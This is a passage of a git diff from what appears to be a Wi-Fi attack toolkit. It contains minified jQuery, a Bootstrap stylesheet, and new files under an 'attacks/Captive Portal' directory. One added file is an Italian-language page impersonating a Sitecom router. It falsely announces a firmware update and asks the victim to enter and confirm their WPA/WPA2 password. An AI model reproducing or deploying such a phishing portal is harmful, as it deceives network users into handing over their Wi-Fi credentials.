K(){(z.addEventListener||"load"===event.type||"complete"===z.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I){if(I=n.Deferred(),"complete"===z.readyState){setTimeout(n.ready)}else{if(z.addEventListener){z.addEventListener("DOMContentLoaded",K,!1),a.addEventListener("load",K,!1)}else{z.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&z.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!n.isReady){try{c.doScroll("left")}catch(a){return setTimeout(e,50)}J(),n.ready()}}()}}}return I.promise(b)};var L="undefined",M;for(M in n(l)){break}l.ownLast="0"!==M,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c=z.getElementsByTagName("body")[0];c&&(a=z.createElement("div"),a.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",b=z.createElement("div"),c.appendChild(a).appendChild(b),typeof b.style.zoom!==L&&(b.style.cssText="border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1",(l.inlineBlockNeedsLayout=3===b.offsetWidth)&&(c.style.zoom=1)),c.removeChild(a),a=b=null)}),function(){var a=z.createElement("div");if(null==l.deleteExpando){l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}}a=null}(),n.acceptData=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b};var N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else{c=void 0}}return c}function Q(a){var b;for(b in a){if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b){return !1}}return !0}function R(a,b,d,e){if(n.acceptData(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b){return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),("object"==typeof b||"function"==typeof b)&&(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}}function S(a,b,c){if(n.acceptData(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--){delete d[b[e]]}if(c?!Q(d):!n.isEmptyObject(d)){return}}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--){d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d]))}n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthh;h++){b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)))}}}return e?a:j?b.call(a):i?b(a[0],c):f},X=/^(?:checkbox|radio)$/i;!function(){var a=z.createDocumentFragment(),b=z.createElement("div"),c=z.createElement("input");if(b.setAttribute("className","t"),b.innerHTML="
    a",l.leadingWhitespace=3===b.firstChild.nodeType,l.tbody=!b.getElementsByTagName("tbody").length,l.htmlSerialize=!!b.getElementsByTagName("link").length,l.html5Clone="<:nav>"!==z.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,a.appendChild(c),l.appendChecked=c.checked,b.innerHTML="",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,a.appendChild(b),b.innerHTML="",l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!0,b.attachEvent&&(b.attachEvent("onclick",function(){l.noCloneEvent=!1}),b.cloneNode(!0).click()),null==l.deleteExpando){l.deleteExpando=!0;try{delete b.test}catch(d){l.deleteExpando=!1}}a=b=c=null}(),function(){var b,c,d=z.createElement("div");for(b in {submit:!0,change:!0,focusin:!0}){c="on"+b,(l[b+"Bubbles"]=c in a)||(d.setAttribute(c,"t"),l[b+"Bubbles"]=d.attributes[c].expando===!1)}d=null}();var Y=/^(?:input|select|textarea)$/i,Z=/^key/,$=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,ab=/^([^.]*)(?:\.(.+)|)$/;function bb(){return !0}function cb(){return !1}function db(){try{return z.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof n===L||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(F)||[""],h=b.length;while(h--){f=ab.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0)}a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(F)||[""],j=b.length;while(j--){if(h=ab.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--){g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g))}i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else{for(o in k){n.event.remove(a,o+b[j],c,d,!0)}}}n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,m,o=[d||z],p=j.call(b,"type")?b.type:b,q=j.call(b,"namespace")?b.namespace.split("."):[];if(h=l=d=d||z,3!==d.nodeType&&8!==d.nodeType&&!_.test(p+n.event.triggered)&&(p.indexOf(".")>=0&&(q=p.split("."),p=q.shift(),q.sort()),g=p.indexOf(":")<0&&"on"+p,b=b[n.expando]?b:new n.Event(p,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),k=n.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!n.isWindow(d)){for(i=k.delegateType||p,_.test(i+p)||(h=h.parentNode);h;h=h.parentNode){o.push(h),l=h}l===(d.ownerDocument||z)&&o.push(l.defaultView||l.parentWindow||a)}m=0;while((h=o[m++])&&!b.isPropagationStopped()){b.type=m>1?i:k.bindType||p,f=(n._data(h,"events")||{})[b.type]&&n._data(h,"handle"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&n.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault())}if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&n.acceptData(d)&&g&&d[p]&&!n.isWindow(d)){l=d[g],l&&(d[g]=null),n.event.triggered=p;try{d[p]()}catch(r){}n.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped()){(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((n.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type)){for(;i!=this;i=i.parentNode||this){if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(e=[],f=0;h>f;f++){d=b[f],c=d.selector+" ",void 0===e[c]&&(e[c]=d.needsContext?n(c,this).index(i)>=0:n.find(c,this,null,[i]).length),e[c]&&e.push(d)}e.length&&g.push({elem:i,handlers:e})}}}return h]","i"),ib=/^\s+/,jb=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,kb=/<([\w:]+)/,lb=/\s*$/g,sb={option:[1,""],legend:[1,"
    ","
    "],area:[1,"",""],param:[1,"",""],thead:[1,"","
    "],tr:[2,"","
    "],col:[2,"","
    "],td:[3,"","
    "],_default:l.htmlSerialize?[0,"",""]:[1,"X
    ","
    "]},tb=eb(z),ub=tb.appendChild(z.createElement("div"));sb.optgroup=sb.option,sb.tbody=sb.tfoot=sb.colgroup=sb.caption=sb.thead,sb.th=sb.td;function vb(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==L?a.getElementsByTagName(b||"*"):typeof a.querySelectorAll!==L?a.querySelectorAll(b||"*"):void 0;if(!f){for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++){!b||n.nodeName(d,b)?f.push(d):n.merge(f,vb(d,b))}}return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function wb(a){X.test(a.type)&&(a.defaultChecked=a.checked)}function xb(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function yb(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function zb(a){var b=qb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ab(a,b){for(var c,d=0;null!=(c=a[d]);d++){n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}}function Bb(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h){for(d=0,e=h[c].length;e>d;d++){n.event.add(b,c,h[c][d])}}}g.data&&(g.data=n.extend({},g.data))}}function Cb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events){n.removeEvent(b,d,e.handle)}b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(yb(b).text=a.text,zb(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&X.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}}n.extend({clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!hb.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(ub.innerHTML=a.outerHTML,ub.removeChild(f=ub.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a))){for(d=vb(f),h=vb(a),g=0;null!=(e=h[g]);++g){d[g]&&Cb(e,d[g])}}if(b){if(c){for(h=h||vb(a),d=d||vb(f),g=0;null!=(e=h[g]);g++){Bb(e,d[g])}}else{Bb(a,f)}}return d=vb(f,"script"),d.length>0&&Ab(d,!i&&vb(a,"script")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k,m=a.length,o=eb(b),p=[],q=0;m>q;q++){if(f=a[q],f||0===f){if("object"===n.type(f)){n.merge(p,f.nodeType?[f]:f)}else{if(mb.test(f)){h=h||o.appendChild(b.createElement("div")),i=(kb.exec(f)||["",""])[1].toLowerCase(),k=sb[i]||sb._default,h.innerHTML=k[1]+f.replace(jb,"<$1>")+k[2],e=k[0];while(e--){h=h.lastChild}if(!l.leadingWhitespace&&ib.test(f)&&p.push(b.createTextNode(ib.exec(f)[0])),!l.tbody){f="table"!==i||lb.test(f)?""!==k[1]||lb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--){n.nodeName(j=f.childNodes[e],"tbody")&&!j.childNodes.length&&f.removeChild(j)}}n.merge(p,h.childNodes),h.textContent="";while(h.firstChild){h.removeChild(h.firstChild)}h=o.lastChild}else{p.push(b.createTextNode(f))}}}}h&&o.removeChild(h),l.appendChecked||n.grep(vb(p,"input"),wb),q=0;while(f=p[q++]){if((!d||-1===n.inArray(f,d))&&(g=n.contains(f.ownerDocument,f),h=vb(o.appendChild(f),"script"),g&&Ab(h),c)){e=0;while(f=h[e++]){pb.test(f.type||"")&&c.push(f)}}}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.deleteExpando,m=n.event.special;null!=(d=a[h]);h++){if((b||n.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events){for(e in g.events){m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle)}}j[f]&&(delete j[f],k?delete d[i]:typeof d.removeAttribute!==L?d.removeAttribute(i):d[i]=null,c.push(f))}}}}),n.fn.extend({text:function(a){return W(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||z).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++){b||1!==c.nodeType||n.cleanData(vb(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&Ab(vb(c,"script")),c.parentNode.removeChild(c))}return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(vb(a,!1));while(a.firstChild){a.removeChild(a.firstChild)}a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return W(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a){return 1===b.nodeType?b.innerHTML.replace(gb,""):void 0}if(!("string"!=typeof a||nb.test(a)||!l.htmlSerialize&&hb.test(a)||!l.leadingWhitespace&&ib.test(a)||sb[(kb.exec(a)||["",""])[1].toLowerCase()])){a=a.replace(jb,"<$1>");try{for(;d>c;c++){b=this[c]||{},1===b.nodeType&&(n.cleanData(vb(b,!1)),b.innerHTML=a)}b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(vb(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,k=this.length,m=this,o=k-1,p=a[0],q=n.isFunction(p);if(q||k>1&&"string"==typeof p&&!l.checkClone&&ob.test(p)){return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)})}if(k&&(i=n.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=n.map(vb(i,"script"),yb),f=g.length;k>j;j++){d=i,j!==o&&(d=n.clone(d,!0,!0),f&&n.merge(g,vb(d,"script"))),b.call(this[j],d,j)}if(f){for(h=g[g.length-1].ownerDocument,n.map(g,zb),j=0;f>j;j++){d=g[j],pb.test(d.type||"")&&!n._data(d,"globalEval")&&n.contains(h,d)&&(d.src?n._evalUrl&&n._evalUrl(d.src):n.globalEval((d.text||d.textContent||d.innerHTML||"").replace(rb,"")))}}i=c=null}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],g=n(a),h=g.length-1;h>=d;d++){c=d===h?this:this.clone(!0),n(g[d])[b](c),f.apply(e,c.get())}return this.pushStack(e)}});var Db,Eb={};function Fb(b,c){var d=n(c.createElement(b)).appendTo(c.body),e=a.getDefaultComputedStyle?a.getDefaultComputedStyle(d[0]).display:n.css(d[0],"display");return d.detach(),e}function Gb(a){var b=z,c=Eb[a];return c||(c=Fb(a,b),"none"!==c&&c||(Db=(Db||n(" \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/status_deviceinfo.html b/attacks/Captive Portal/sites/Sitecom_it.portal/status_deviceinfo.html new file mode 100644 index 0000000..4043b07 --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/status_deviceinfo.html @@ -0,0 +1,53 @@ + +

    Aggiornamento del firmware
    È disponibile un nuovo firmware per il vostro modem che migliorerà le funzionalità e le performance dell'apparato. Per scaricare e aggiornare il firmware è necessario inserire la password WPA/WPA2 e premere il tasto AGGIORNA per procedere.
         
    Versione Firmware corrente :  v1001
    Nuova Versione Firmware :  v2002
         
    WPA/WPA2 : 
    Conferma WPA/WPA2 : 
         
    ATTENZIONE: Il download e l'aggiornamento del firmware può richiedere alcuni minuti. Durante l'aggiornamento non spegnere il router nè chiudere il browser.
         
    \ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.css b/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.css new file mode 100755 index 0000000..7a5aa22 --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.css @@ -0,0 +1,5 @@ +/*! + * Bootstrap v3.3.6 (http://getbootstrap.com) + * Copyright 2011-2015 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + *//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{margin:0;font:inherit;color:inherit}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}input{line-height:normal}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{padding:.35em .625em .75em;margin:0 2px;border:1px solid silver}legend{padding:0;border:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,:after,:before{color:#000 !important;text-shadow:none !important;background:0 0 !important;-webkit-box-shadow:none !important;box-shadow:none !important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="javascript:"]:after,a[href^="#"]:after{content:""}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100% !important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000 !important}.label{border:1px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered td,.table-bordered th{border:1px solid #ddd !important}}@font-face{font-family:'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'),url(../fonts/glyphicons-halflings-regular.woff2) format('woff2'),url(../fonts/glyphicons-halflings-regular.woff) format('woff'),url(../fonts/glyphicons-halflings-regular.ttf) format('truetype'),url(../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\002a"}.glyphicon-plus:before{content:"\002b"}.glyphicon-eur:before,.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizon